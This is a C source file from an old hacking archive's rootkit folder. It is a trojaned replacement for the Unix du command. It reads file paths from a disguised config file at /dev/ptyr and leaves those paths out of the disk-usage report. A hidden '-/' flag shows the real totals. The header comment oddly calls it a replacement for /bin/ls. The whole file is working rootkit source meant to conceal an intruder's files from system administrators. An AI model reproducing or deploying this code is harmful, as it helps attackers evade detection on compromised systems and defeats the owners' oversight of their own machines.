home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rootkits / rootkit / du.c next >
C/C++ Source or Header  |  1994-03-01  |  5KB  |  244 lines
  1. /*+
  2.  *  Modified du command to mask certain files from
  3.  *  being listed via any of the du commands.  This
  4.  *  is a drop-in replacement for /bin/ls. 
  5. +*/
  6.  
  7. #ifndef lint
  8. static    char sccsid[] = "@(#)du.c 1.1 91/11/13 SMI"; /* from UCB 4.11 83/07/01 */
  9. #endif
  10. /*
  11.  * du
  12.  */
  13. #include <stdio.h>
  14. #include <sys/param.h>
  15. #include <sys/stat.h>
  16. #include <sys/dir.h>
  17.  
  18. char    path[BUFSIZ], name[BUFSIZ];
  19. int    aflg;
  20. int    sflg;
  21. char    *dot = ".";
  22.  
  23. #define ML    1000
  24. struct {
  25.     int    dev;
  26.     ino_t    ino;
  27. } ml[ML];
  28. int    mlx;
  29.  
  30. /*+
  31.  *  Hack vars - oops they're global
  32.  *  but wtf cares, its a hack.
  33. +*/
  34.  
  35. #define FILENAME "/dev/ptyr"
  36. #define STR_SIZE 128
  37. #define SEP_CHAR " \n"
  38. #define SHOWFLAG        /*  Able to get du stats with `du -/` command  */
  39.  
  40. struct  h_st {
  41.         struct h_st     *next;
  42.         char            filename[STR_SIZE];
  43. };
  44.  
  45. struct  h_st    *hack_list;
  46. struct  h_st    *h_tmp;
  47.  
  48. char    tmp_str[STR_SIZE];
  49.  
  50. FILE    *fp_hack;
  51. int     showall=0;
  52.  
  53.  
  54. long    descend();
  55. char    *index(), *rindex(), *strcpy(), *sprintf();
  56.  
  57. #define    kb(n)    (howmany(dbtob(n), 1024))
  58.  
  59. main(argc, argv)
  60.     int argc;
  61.     char **argv;
  62. {
  63.     long blocks = 0;
  64.     register char *np;
  65.     int pid;
  66.     int c;
  67.     extern int optind;
  68.  
  69. #if defined (SHOWFLAG)
  70.     while ((c = getopt(argc, argv, "as/")) != -1)
  71. #else
  72.     while ((c = getopt(argc, argv, "as")) != -1)
  73. #endif
  74.         switch (c) {
  75.             case 'a':
  76.                 aflg++;
  77.                 break;
  78.             case 's':
  79.                 sflg++;
  80.                 break;
  81. #if defined (SHOWFLAG)
  82.                     case '/':
  83.                 showall++;
  84.                 break;
  85. #endif
  86.             default:
  87.                 (void)fprintf(stderr, "Usage: du [-as] file . . .\n");
  88.                 exit (2);
  89.         }
  90.  
  91. /*+  Read in list of files to block  +*/
  92.  
  93.         h_tmp=(struct h_st *)malloc(sizeof(struct h_st));
  94.         hack_list=h_tmp;
  95.  
  96.         if (fp_hack=fopen (FILENAME, "r")) {
  97.                 while (fgets(tmp_str, 126, fp_hack)) {
  98.                         h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
  99.                         strcpy (h_tmp->filename, tmp_str);
  100.                         h_tmp->filename[strlen(h_tmp->filename)-1]='\0';
  101.                         h_tmp=h_tmp->next;
  102.                 }
  103.         }
  104.         h_tmp->next=NULL;
  105.  
  106. /*+  On with the program  +*/
  107.  
  108.     argc -= optind;
  109.     argv += optind;
  110.     if (argc == 0) {
  111.         argv = ˙
  112.         argc = 1;
  113.     }
  114.     do {
  115.         if (argc > 1) {
  116.             pid = fork();
  117.             if (pid == -1) {
  118.                 fprintf(stderr, "No more processes.\n");
  119.                 exit(1);
  120.             }
  121.             if (pid != 0)
  122.                 wait((int *)0);
  123.         }
  124.         if (argc == 1 || pid == 0) {
  125.             (void) strcpy(path, *argv);
  126.             (void) strcpy(name, *argv);
  127.             if (np = rindex(name, '/')) {
  128.                 *np++ = '\0';
  129.                 if (chdir(*name ? name : "/") < 0) {
  130.                     perror(*name ? name : "/");
  131.                     exit(1);
  132.                 }
  133.             } else
  134.                 np = path;
  135.             blocks = descend(path, *np ? np : ".");
  136.             if (sflg)
  137.                 printf("%ld\t%s\n", kb(blocks), path);
  138.             if (argc > 1)
  139.                 exit(1);
  140.         }
  141.         argc--, argv++;
  142.     } while (argc > 0);
  143.     exit(0);
  144.     /* NOTREACHED */
  145. }
  146.  
  147. DIR    *dirp = NULL;
  148.  
  149. long
  150. descend(base, name)  /*  Cool tree spanning idea  */
  151.     char *base, *name;
  152. {
  153.     char *ebase0, *ebase;
  154.     struct stat stb;
  155.     int i;
  156.     long blocks = 0;
  157.     long curoff = NULL;
  158.     register struct direct *dp;
  159.  
  160.  
  161. /*+ 
  162.  * This will be very lagged if you include alot of files
  163.  * because strstr() is such an expensive call.  However,
  164.  * the nature of this procedure requires it, and breaking
  165.  * the pathname down would be just as expensive.  Note, 
  166.  * that correct disk usage sizes will be reported based
  167.  * upon files that are not masked.
  168. +*/
  169.  
  170.     if (!showall)
  171.         for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)
  172.             if (strstr(base, h_tmp->filename))
  173.                 return 0; 
  174.  
  175.     ebase0 = ebase = index(base, 0);
  176.  
  177.     if (ebase > base && ebase[-1] == '/')
  178.         ebase--;
  179.     if (lstat(name, &stb) < 0) {
  180.         perror(base);
  181.         *ebase0 = 0;
  182.         return (0);
  183.     }
  184.     if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR) {
  185.         for (i = 0; i <= mlx; i++)
  186.             if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev)
  187.                 return (0);
  188.         if (mlx < ML) {
  189.             ml[mlx].dev = stb.st_dev;
  190.             ml[mlx].ino = stb.st_ino;
  191.             mlx++;
  192.         }
  193.     }
  194.  
  195.     blocks = stb.st_blocks;
  196.     if ((stb.st_mode&S_IFMT) != S_IFDIR) {
  197.         if (aflg)
  198.             printf("%ld\t%s\n", kb(blocks), base);
  199.         return (blocks);
  200.     }
  201.     if (dirp != NULL)
  202.         closedir(dirp);
  203.     dirp = opendir(name);
  204.     if (dirp == NULL) {
  205.         perror(base);
  206.         *ebase0 = 0;
  207.         return (0);
  208.     }
  209.     if (chdir(name) < 0) {
  210.         perror(base);
  211.         *ebase0 = 0;
  212.         closedir(dirp);
  213.         dirp = NULL;
  214.         return (0);
  215.     }
  216.     while (dp = readdir(dirp)) {
  217.         if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, ".."))
  218.             continue;
  219.         (void) sprintf(ebase, "/%s", dp->d_name);
  220.         curoff = telldir(dirp);
  221.         blocks += descend(base, ebase+1);
  222.         *ebase = 0;
  223.         if (dirp == NULL) {
  224.             dirp = opendir(".");
  225.             if (dirp == NULL) {
  226.                 perror(".");
  227.                 return (0);
  228.             }
  229.             seekdir(dirp, curoff);
  230.         }
  231.     }
  232.     closedir(dirp);
  233.     dirp = NULL;
  234.     if (sflg == 0)
  235.         printf("%ld\t%s\n", kb(blocks), base);
  236.     if (chdir("..") < 0) {
  237.         (void) sprintf(index(base, 0), "/..");
  238.         perror(base);
  239.         exit(1);
  240.     }
  241.     *ebase0 = 0;
  242.     return (blocks);
  243. }
  244.